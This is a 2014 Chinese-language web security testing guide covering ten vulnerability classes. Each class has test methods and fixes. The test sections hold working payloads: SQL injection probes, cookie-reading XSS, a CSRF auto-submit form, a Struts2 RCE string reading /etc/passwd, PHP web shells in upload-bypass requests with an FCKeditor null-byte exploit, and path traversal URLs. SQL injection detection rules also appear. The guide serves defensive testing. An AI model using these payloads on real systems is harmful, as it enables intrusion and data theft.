# 安全隐患名录

## INSAFE.XXX

Pang

2014

作为收集整理此文的修订者，我怀着无比深邃的怨念参考了诸多资料才使得此物最终诞生，在此感谢整理过程中所有施舍帮助于我的人们.愿他们幸福快乐.

虽然出于原意本人并不想为难大家阅读如此沉长的 Notification

But …… 智慧是众人的，至少要保证他人的利益不受侵犯！

这是一种尊重、一种渴求真知的态度！

**********

# 1 应用层

## 1.1 SQL 注入

### 1.1.1 风险级别


### 1.1.2 漏洞描述

SQL 注入（SQL injection），是发生于应用程序之数据库层的安全漏洞。是参数在输入或者接受的字符串之中注入 SQL 指令，在设计不良的程序当中忽略了检查，那么这些注入进去的指令就会被数据库服务器误认为是正常的 SQL 指令而运行，攻击者利用对参数注入 SQl 语句，破坏或者操作数据库。

### 1.1.3 漏洞危害

攻击者可以利用 SQL 注入从而达到取得隐藏数据，或覆盖关键的值，甚至执行数据库主机操作系统命令的目的。

### 1.1.4 测试方法

针对应用过程参数做提交测试，提交过程包括 get、post、cookie 等数据传递方式。检测方法：example.jsp?id=1 and n=n 或者 example.jsp?id=1 and n=x 或者 example.jsp?id=1 and n=x union select NULL,NULL,NULL……..,等主要测试数据库是否接受到并判断逻辑结果之类的语句。测试过程可能会使用到测试语句的变形，编码等。例如 and 变换为 AnD。

### 1.1.5 测试过程对系统的影响

对生产无影响。应用系统会产生少量日志。如果被测试对象中存在针对 SQL 注入监测的策略的话，相应的也会触发该部分策略。

### 1.1.6 修复方法

✓ 从开发方面

对于开发而言，使用以下建议编写不受 SQL 注入攻击影响的 web 应用。
参数化查询：SQL 注入源于攻击者控制查询数据以修改查询逻辑，因此防范 SQL 注入攻击的最佳方式就是将查询的逻辑与其数据分隔，这可以防止执行从用户输入所注入的命令。这种方式的缺陷是可能对性能产生影响（但影响很小），且必须以这种方式构建站点上的每个查询才能完全有效。只要无意中绕过了一个查询，就足以导致应用受 SQL 注入的影响。以下代码显示的是可以进行 SQL 注入的 SQL 语句示例。

```
sSql = "SELECT LocationName FROM Locations "; sSql = sSql + " WHERE
LocationID = " + Request["LocationID"]; oCmd.CommandText = sSql;
下面的例子使用了参数化的查询，不受 SQL 注入攻击的影响。
sSql = "SELECT * FROM Locations ";
sSql = sSql + " WHERE LocationID = @LocationID"; oCmd.CommandText =
sSql; oCmd.Parameters.Add("@LocationID", Request["LocationID"]);
```

应用程序没有包含用户输入向服务器发送 SQL 语句，而是使用@LocationID-参数替代该输入，这样用户输入就无法成为 SQL 执行的命令。这种方式可以有效的拒绝攻击者所注入的任何输入，尽管仍会生成错误，但仅为数据类型转换错误，而不是黑客可以利用的错误。
以下代码示例显示从 HTTP 查询字符串中获得产品 ID 并使用到 SQL 查询中。请注意传送给 SqlCommand 的包含有 SELECT 的字符串仅仅是个静态字符串，不是从输入中截取的。此外还请注意使用 SqlParameter 对象传送输入参数的方式，该对象的名称（@pid）匹配 SQL 查询中所使用的名称。

C#示例：

```
string connString
=WebConfigurationManager.ConnectionStrings["myConn"].ConnectionString;
using (SqlConnection conn = new SqlConnection(connString))
{
conn.Open();
SqlCommand cmd = new SqlCommand("SELECT Count(*) FROM Products WHERE
ProdID=@pid", conn);
SqlParameter prm = new SqlParameter("@pid", SqlDbType.VarChar, 50);
prm.Value = Request.QueryString["pid"];
cmd.Parameters.Add(prm);
int recCount = (int)cmd.ExecuteScalar();
}
```

VB.NET 示例：

```
Dim connString As String =
```

```
WebConfigurationManager.ConnectionStrings("myConn").ConnectionString
Using conn As New SqlConnection(connString) conn.Open()
Dim cmd As SqlCommand = New SqlCommand("SELECT Count(*) FROM Products
WHERE ProdID=@pid", conn)
Dim prm As SqlParameter = New SqlParameter("@pid", SqlDbType.VarChar,
50)
prm.Value = Request.QueryString("pid")
cmd.Parameters.Add(prm)
Dim recCount As Integer = cmd.ExecuteScalar()
End Using
```

验证输入：可通过正确验证用户输入的类型和格式防范大多数 SQL 注入攻击，最佳方式是通过白名单，定义方法为对于相关的字段只接受特定的帐号号码或帐号类型，或对于其他仅接受英文字母表的整数或字母。很多开发人员都试图使用黑名单字符或转义的方式验证输入。总体上讲，这种方式通过在恶意数据前添加转义字符来拒绝已知的恶意数据，如单引号，这样之后的项就可以用作文字值。这种方式没有白名单有效，因为不可能事先知道所有形式的恶意数据。

✓ 从操作方面

对于安全操作而言，使用以下建议帮助防范对 web 应用的 SQL 注入攻击。
限制应用程序权限：限制用户凭据，仅使用应用运行所必需权限的。任何成功的 SQL 注入攻击都会运行在用户凭据的环境中，尽管限制权限无法完全防范 SQL 注入攻击，但可以大大增加其难度。
强系统管理员口令策略：通常攻击者需要管理员帐号的功能才能使用特定的 SQL 命令，如果系统管理员口令较弱的话就比较容易暴力猜测，增加成功 SQL 注入攻击的可能性。另一个选项就是根本不使用系统管理员口令，而是为特定目的创建特定的帐号。
一致的错误消息方案：确保在出现数据库错误时向用户提供尽可能少的信息。不要泄漏整个错误消息，要同时在 web 和应用服务器上处理错误消息。当 web 服务器遇到处理错误时，应使用通用的 web 页面响应，或将用户重新定向到标准的位置。绝不要泄漏调试信息或其他可能对攻击者有用的细节。
有关如何在 IIS 中关闭详细错误消息的说明请见：
http://www.microsoft.com/windows2000/en/server/iis/default.asp?
url= /windows2000/en/server/iis/htm/core/iierrcst.htm
使用以下句法在 Apache 服务器上取缔错误消息:
Syntax: ErrorDocument <3-digit-code>
Example: ErrorDocument 500 /webserver_errors/server_error500.txt
WebSphere 之类的应用服务器通常默认安装启用了错误消息或调试设置。有关如何取缔这些错误消息的信息，请参考应用服务器文档。
存储过程：如果不使用的话，请删除
master..Xp_cmdshell、xp_startmail、xp_sendmail、

sp_makewebtask 之类的 SQL 存储过程。

SQL 注入漏洞根本上还是取决于 web 应用程序的代码。尽管不是修复，但可以通过向 IDS 中添加结合了正则表达式的规则作为紧急措施检测 SQL 注入攻击。尽管这无法修复所有可能的 SQL 注入漏洞，但便于实施，并且要求攻击者必须要改进其方法才能实现成功的攻击。可如下使用正则表达式。

删除 SQL 元字符的正则表达式：

*/(\%27)|(\')|(\-\-)|(\%23)|(#)/ix*

可如下将上述正则表达式添加到 Snort 规则：

*alert tcp $EXTERNAL_NET any -*
*> $HTTP_SERVERS $HTTP_PORTS (msg:"SQL Injection-*
*Paranoid";flow:to_server,established;uricontent:".pl";pcre:"/(\%27)|*
*(\')|(\-\-)|(%23)|(#)/i"; classtype:Web-application-attack; sid:9099;*
*rev:5;)*

传统 SQL 注入攻击的正则表达式：

*/\w*((\%27)|(\'))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/ix*

删除有 UNION 关键字的 SQL 注入攻击的正则表达式：

*/((\%27)|(\'))union/ix*
*(\%27)|(\')*

可为其他的 SQL 查询（如 select、insert、update、delete、drop 等）编写类似的正则表达式。

在 MS SQL 服务器上检测 SQL 注入攻击的正则表达式：

*/exec(\s|\+)+(s|x)p\w+/ix*

### 1.1.7 相关参考

http://zh.wikipedia.org/wiki/SQL%E6%B3%A8%E5%85%A5

http://msdn.microsoft.com/zh-CN/library/ms161953.aspx

http://www.cgisecurity.com/questions/sql.shtml

## 1.2 跨站漏洞脚本（XSS）

### 1.2.1 风险级别

### 1.2.2 漏洞描述

跨站脚本（Cross-site scripting，通常简称为 XSS 或跨站脚本攻击或跨网站脚本）XSS 攻击通常指的是通过利用网页开发时留下的漏洞，通过巧妙的方法注入恶意指令代码到网页，使用户加载并执行攻击者恶意制造的网页程序。

XSS 是最普遍的 web 应用安全漏洞。当应用程序发送给浏览器的页面中包含用户提供的数据,而这些数据没有经过适当的验证或转义(escape)，就会导致跨站脚本漏洞。有三种已知的跨站漏洞类型:1)存储式;2)反射式;3)基于 DOM 的 XSS。

### 1.2.3 漏洞危害

攻击成功后，攻击者可能得到包括但不限于更高的权限（如执行一些操作）、私密网页内容、会话和 cookie 等各种内容。

### 1.2.4 测试方法

```
><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
"><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
<img src="http://xxx.com/yyy.png" onerror="alert('XSS')">
<div style="height:expression(alert('XSS'),1)" />（这个仅限 IE 有效）
```

### 1.2.5 测试过程对系统的影响

对生产无影响。如果被测试对象中存在针对 XSS 跨站脚攻击监测的策略的话，相应的也会触发该部分策略。

### 1.2.6 修复方法

避免 XSS 的方法之一主要是将用户所提供的内容进行过滤及转义。比如许多语言都有提供对 HTML 的过滤：
PHP 的 htmlentities()或是 htmlspecialchars()。

Python 的 cgi.escape()。
ASP 的 Server.HTMLEncode()。
ASP.NET 的 Server.HtmlEncode()或功能更强的 Microsoft Anti-Cross Site Scripting Library
Java 的 xssprotect(Open Source Library)。
Node.js 的 node-validator。

### 1.2.7 相关参考

http://zh.wikipedia.org/wiki/跨網站指令碼
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

## 1.3 跨站请求伪造（CSRF）

### 1.3.1 风险级别


### 1.3.2 漏洞描述

在用户会话下对某个 CGI 做一些 GET/POST 的事情————这些事情用户未必知道和愿意做，你可以把它想做 HTTP 会话劫持。
网站是通过 cookie 来识别用户的，当用户成功进行身份验证之后浏览器就会得到一个标识其身份的 cookie，只要不关闭浏览器或者退出登录，以后访问这个网站会带上这个 cookie。如果这期间浏览器被人控制着请求了这个网站的 url，可能就会执行一些用户不想做的功能（比如修改个人资料）。因为这个不是用户真正想发出的请求，这就是所谓的请求伪造；因为这些请求也是可以从第三方网站提交的，所以前缀跨站二字。

### 1.3.3 漏洞危害

攻击者能欺骗受害用户完成受害者所允许的任意状态改变的操作，比如：更新账号细节，完成购物，注销甚至登陆等操作。此处所指受害用户包括但不限于管理员用户。

### 1.3.4 测试方法

Get 类型的 CSRF 这种类型的 CSRF 一般是由于程序员安全意识不强造成的。GET 类型的 CSRF 利用非常简单，只需要一个 HTTP 请求，所以，一般会这样利用：<img src=http://insafe.xxx/csrf.php?xx=1 /> 我们把这个连接放在网站里面每刷新一次就会请求一次，所以我们把连接换成 CSRF 的链接地址就可以了。
Post 类型的 CSRF 一般来讲没有 Get 类型的危害大，利用起来基本是一个自动提交的表单，比如：

```
<form action=http://insafe.xxx/csrf.php method=POST>
<input type="text" name="xx" value="1" />
</form>
<script> document.forms[0].submit(); </script>
```

访问该页面后，表单会自动提交，相当于模拟用户完成了一次 POST 操作。常用 Post 类型的 CSRF 进行上传或添加管理员。

### 1.3.5 测试过程对系统的影响

对操作系统无影响，对应用系统产生一定影响，同时会对用户产生一定影响。

### 1.3.6 修复方法

关键操作只接受 POST 请求
验证码
CSRF 攻击的过程，往往是在用户不知情的情况下构造网络请求。所以如果使用验证码，那么每次操作都需要用户进行互动，从而简单有效的防御了 CSRF 攻击。

但是如果你在一个网站作出任何举动都要输入验证码会严重影响用户体验，所以验证码一般只出现在特殊操作里面，或者在注册时候使用

检测 Referer
常见的互联网页面与页面之间是存在联系的，比如你在 www.baidu.com 应该是找不到通往 www.google.com 的链接的，再比如你在论坛留言，那么不管你留言后重定向到哪里去了，之前的那个网址一定会包含留言的输入框，这个之前的网址就会保留在新页面头文件的 Referer 中

通过检查 Referer 的值，我们就可以判断这个请求是合法的还是非法的，但是问题出在服务器不是任何时候都能接受到 Referer 的值，所以 Refere Check 一般用于监控 CSRF 攻击的发生，而不用来抵御攻击。

Token
目前主流的做法是使用 Token 抵御 CSRF 攻击。下面通过分析 CSRF 攻击来理解为什么 Token 能够有效

CSRF 攻击要成功的条件在于攻击者能够预测所有的参数从而构造出合法的请求。所以根据不可预测性原则，我们可以对参数进行加密从而防止 CSRF 攻击。

另一个更通用的做法是保持原有参数不变，另外添加一个参数 Token，其值是随机的。这样攻击者因为不知道 Token 而无法构造出合法的请求进行攻击。

Token 使用原则

Token 要足够随机————只有这样才算不可预测
Token 是一次性的，即每次请求成功后要更新 Token————这样可以增加攻击难度，增加预测难度
Token 要注意保密性————敏感操作使用 post，防止 Token 出现在 URL 中

### 1.3.7 相关参考

http://drops.wooyun.org/papers/155
http://blog.csdn.net/lake2/article/details/2245754

## 1.4 功能级访问控制缺失

### 1.4.1 风险级别


### 1.4.2 漏洞描述

任何具有网络访问权限的人都可以向你的应用程序发送一个请求。即匿名用户可以访问私人网页，又或者普通用户可以访问享有特权的网页。

### 1.4.3 漏洞危害

匿名用户或者普通用户可以访问享有特权的网页，攻击者可以查看，更改用户细节，修改后台内容，严重者可以篡改系统。

### 1.4.4 测试方法

例如以下链接本该只有 admin 才能访问，但如果匿名用户或者非 admin 用户可以直接在浏览器中访问该链接，说明网站存在功能级权限控制漏洞。

http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo

### 1.4.5 测试过程对系统的影响

测试过程对系统无影响。

### 1.4.6 修复方法

1. 执行机制在缺省情况下，应该拒绝所有访问。对于每个功能的访问，需要明确授予特定角色的访问权限。
2. 保每个特权功能页面有对登陆身份验证，如 Cookie,Session,Token 等。
3. 默认拒绝所有访问，访问任何功能都需要被赋予特定的权限。保证权限最小化。

### 1.4.7 相关参考

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_2013_Project

## 1.5 远程代码执行

### 1.5.1 风险级别

### 1.5.2 漏洞描述

由于网站程序或者使用含有已知漏洞的组建可以被自动化工具发现,利用或用户通过浏览器提交代码来执行恶意构造的命令。

### 1.5.3 漏洞危害

这种类型的攻击，大多数主机都没有进行降权等一系列安全加固操作，同时也没有及时组件或 Web 程序的版本更新，攻击者可以通过浏览器提交任意代码来执行恶意构造的命令，从而获取主机或数据库权限。

### 1.5.4 测试方法

根据漏洞的不同类型，进行不同的测试方法。
列：Struts2 框架远程代码执行

http://xxxxxxx/invite/Invite.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
建议不要进行创建文件，修改文件，等一些篡改系统的操作。

### 1.5.5 测试过程对系统的影响

根据测试命令来判定对系统的影响，如上 ‘cat /etc/passwd’ ,’hostname’等对操作系统无影响，但会产生相应的少量的 web 日志。

### 1.5.6 修复方法

应该在入口处对特殊字符进行过滤，如：system() eval() exec() cat hostname ls 等函数或命令。

### 1.5.7 相关参考

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_2013_Project

## 1.6 上传漏洞

### 1.6.1 风险级别


### 1.6.2 漏洞描述

通常 web 站点会有用户注册功能,而当用户登入之后大多数情况下都会存在类似头像 上传、附件上传一类的功能,这些功能点往往存在上传验证方式不严格的安全缺陷,是 在 web 渗透中非常关键的突破口。因网站上传模块不严或利用操作系统特性进行上传绕过而导致的 Web 平台被入侵。

### 1.6.3 漏洞危害

攻击者可利用此漏洞上传脚本木马，从而达到控制 Web 程序的目的，并且可以利用此漏洞进行下一步攻击，可获取网站的服务器权限以及数据库。

### 1.6.4 测试方法

通常一个文件以 HTTP 协议进行上传时,将以 POST 请求发送至 web 服务器 web 服务器接收到请求后并同意后,用户与 web 服务器将建立连接,并传输 data。一般防止上传非法文件的方法如下：
A 客户端 javascript 检测 (通常为检测文件扩展名)
B 服务端 MIME 类型检测 (检测 Content-Type 内容)
C 服务端目录路径检测 (检测跟 path 参数相关的内容)
D 服务端文件扩展名检测 (检测跟文件 extension 相关的内容)

A：如果还没有点击uplad 等按钮，便弹窗提示上传非法文件，即本地JS检测，我们可以用 firebug 之类的插件把它禁掉或者通过 burp suite之类的代理工具进行绕过提交

B：模拟代码：

```
<?php
if($_FILES['userfile']['type'] != "image/gif") { //检测 Content-type
echo "Sorry, we only allow uploading GIF images";
exit;
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) { echo
"File is valid, and was successfully uploaded.\n";
} else {
echo "File uploading failed.\n";
}
?>
```

点击上传，发送请求，得到类似的数据传输包，可以对其进行修改

```
POST /upload.php HTTP/1.1 TE: deflate,gzip;q=0.3 Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif (原为 Content-Type: text/plain)
<?php system($_GET['command']);?>
--xYzZY –
```

C：模拟代码：

Exp:

```
$filename    = "fvck.gif";
$foldername = “/fuck.php%00.gif";
$connector = "editor/filemanager/connectors/php/connector.php";


$payload    = "-----------------------------265001916915724\r\n";
$payload    .= "Content-Disposition: form-data; name=\"NewFile\";
filename=\"{$filename}\"\r\n";
```

```
$payload .= "Content-Type:    image/jpeg\r\n\r\n";
$payload .= 'GIF89a'."\r\n".'<?php eval($_POST[a]) ?>'."\n";
$payload .= "-----------------------------265001916915724--\r\n";
```

我们可以看到用%00 进行截断绕过目录路径检测。
发送数据包大体如下：

```
POST
/fckeditor/editor/filemanager/connectors/php/connector.php?Command=File
Uplo
ad&Type=Image&CurrentFolder=%2Ffuck.php%00.gif HTTP/1.0
Host: xxx.com
Content-Type: multipart/form-data; boundary=-----------------------------265001916
915724
Content-Length: 225
Connection: close

-----------------------------265001916915724
Content-Disposition: form-data; name="NewFile"; filename="fvck.gif"
Content-Type:    image/jpeg

GIF89a
<?php eval($_POST[a]) ?>
-----------------------------265001916915724—
```

D： 1. 对于扩展名检测不强的,时常还可以结合目录路径攻击 比如 filename="test.asp/evil.jpg" 之类

2. 文件名大小写绕过

用像 AsP,pHp 之类的文件名绕过黑名单检测

3. 名单列表绕过

用黑名单里没有的名单进行攻击,比如黑名单里没有 asa 或 cer 之类

4. 特殊文件名绕过

比如发送的 http 包里把文件名改成 test.asp. 或 test.asp_(下划线为空格 ),这种命名方式

在 windows 系统里是不被允许的,所以需要在 burp 之类里进行修改,然后绕过验证后,会 被 windows 系统自动去掉后面的点和空格,但要注意 Unix/Linux 系统没有这个特性。

5. 0x00 截断绕过

在扩展名检测这一块目前我只遇到过 asp 的程序有这种漏洞,给个简单的伪代码 name=getname(httprequest)// 假如这时候获取到的文件名是 test.asp.jpg(asp 后面为 0x00) type = gettype(name) //而在 gettype()函数里处理方式是从后往前扫描扩展名 ,所以判断为 jpg if (type == jpg) SaveFileToPath(UploadPath.name, name) //但在这里却是以 0x00 作为文件名截断 //最后以 test.asp 存入路径里

### 1.6.5 测试过程对系统的影响

在进行测试时，严禁使用脚本木马进行测试，可上传探针。会对文件系统写入文件，并且会产生少量日志。

### 1.6.6 修复方法

对上诉绕过方法进行过滤。同时对上传目录禁止 CGI 执行。

### 1.6.7 相关参考

感谢：CasperKid 之前写过的文档。

## 1.7 任意文件下载

### 1.7.1 风险级别


### 1.7.2 漏洞描述

网站某些文件是使用参数进行调用而参数为相对路径或绝对路径，并且没有对其他目录及文件进行限制时，即可下载一些敏感文件。

### 1.7.3 漏洞危害

匿名用户可以下载敏感文件，比如 config.php ,/etc/passwd 等会对系统造成巨大的风险。

### 1.7.4 测试方法

通常任意文件下载连接类似如下：

http://xxxx.com/example/common/download.jsp?path=（../WEB-INF/web.xml 此处可作为变量）
http://xxxx.com/example/common/download.jsp?path=../WEB-INF/web.xml
当页面有返回参数或下载文件时则为任意文件下载。

### 1.7.5 测试过程对系统的影响

对操作系统无影响，对 Web 程序无影响。会产生 Web 访问日志。

### 1.7.6 修复方法

所有上传的文件以参数对其进行调用下载。如：
http://xxxx.com/example/common/download.jsp?id=1

### 1.7.7 相关参考

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_2013_Project

## 1.8 敏感信息泄漏

### 1.8.1 风险级别


### 1.8.2 漏洞描述

许多 Web 应用程序没有正确保护敏感数据，如果身份验证凭据，用户数据。攻击者可能会窃取或篡改这些若保护的数据以进行身份窃取，或信息收集。把一些不应该让匿名用户或者攻击者看到的文件内容展示了出来。敏感信息泄漏包括很多，比如说后台路径泄漏，源码泄漏，数据库下载等都算敏感信息泄漏。

### 1.8.3 漏洞危害

根据泄漏内容不同，可造成不同的危害，最高可导致攻击者控制,修改系统或者

数据库等。

### 1.8.4 测试方法

一般网站后台路径存在于：
http://xxx.com/admin/login.php
一般网站数据库泄漏：
http://xxx.com/database/access.mdb
一般网站源码泄漏：
http://xxx.com/1.rar 或 http://xxx.com/1.jsp. (后面有.或者把 jsp 改为大写 只针对于 windows 主机)
一般网站路径泄漏：
http://xxx.com/1.aspx?id=1'
一般网站 robots.txt 泄漏
http://www.com/robots.txt 有的网站会把网站后台写在 robots.txt 里面。需要安全人员对对此进行分析定级。
因敏感信息泄漏包含太多内容，所以需要安全人员对不同的敏感信息泄漏进行不同的定级。

### 1.8.5 测试过程对系统的影响

对操作系统以及 Web 系统不会造成影响。会产生少量访问日志。

### 1.8.6 修复方法

1.网站后台路径泄漏需要修改后台地址，并且不写到 robots.txt，不在网站上面放超链接
2.修改数据库的名字，达到 8 位以上字母+数字等无规律组合。并修改数据库连接文件，编辑数据库路径。
3.网站备份文件不应该放在 Web 目录，并且备份名称要无规律，不易被猜解。JSP 源码泄漏出现在 windows 平台，应在解析设置里面设置大写 JSP，加上特殊符号，Jsp，等等。
4.网站报错导致路径泄漏，应自定义错误页面，关闭错误回显等。

### 1.8.7 相关参考

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_2013_Project

## 1.9 使用含有已知漏洞的组件

### 1.9.1 风险级别


### 1.9.2 漏洞描述

应用程序使用带有已知漏洞的组件会破坏应用程序防御系统，并使一些列可能的攻击和影响成为可能。例如 Struts2 框架，Spring 框架，Apache，Nginx 等中间件某些版本都出现过高风险的问题，使用这些版本的框架或中间件就属于使用含有已知漏洞的组件。

### 1.9.3 漏洞危害

攻击者可以通过自动化工具或手动分析对提供服务的组件进行问题识别。使用含有已知漏洞的组件或使服务处于高风险中。

### 1.9.4 测试方法

自动化工具活手动分析所使用的组件，根据组件版本等一系列参数，可以从 CVE 或 NVD 这样的网站进行查询搜索。根据不同的版本问题进行测试。

### 1.9.5 测试过程对系统的影响

根据不同的问题存在不同的测试方法。这里的测试仅仅做对系统无影响或影响轻微测试，对影响业务系统的严禁测试。

### 1.9.6 修复方法

1.标识所有正在使用的所有组件及其版本。
2.时刻关注这些组件的安全信息。
3.建立组件使用的安全策略，如降权等操作。
4.在适当情况下，增加对组件的安全封装，去掉不使用或易受攻击的功能。
5.及时更新组件版本。

### 1.9.7 相关参考

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_2013_Project

## 1.10 未验证的重定向和转发

### 1.10.1 风险级别


### 1.10.2 漏洞描述

Web 应用程序经常将用户重定向和转发到其他网页和网站，并且利用不可信的数据去判定目的页面。

### 1.10.3 漏洞危害

攻击者连接到未验证的重定向并诱惑使受害者去点击。由于是链接到有效的网站，受害者很有可能去点击。攻击者利用不安全的转发绕过安全检测。这种重定向可能试图安装恶意软件或者诱使受害者泄漏密码或其他敏感信息。不安全的转发可能允许绕过访问控制。

### 1.10.4 测试方法

http://www.xxx.com/?url=http://www.ccc.com
http://www.xxx.com/?url=http://www.xxx.com@www.ccc.com

### 1.10.5 测试过程对系统的影响

对系统无影响，会产生少量日志。

### 1.10.6 修复方法

1.避免使用重定向和转发。
2.如果使用了重定向和转发，则不要在计算目标时涉及到用户参数。这通常容易做到。
3.如果使用目标参数无法避免，应确保其所提供的值对于当前用户是有效的，并已经授权。
4.建议把这种目标的参数做成一个映射值，而不是真的 URL 或其中的一部分，然后由服务器端代码将映射值转换成目标 URL。

### 1.10.7 相关参考

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_2013_Project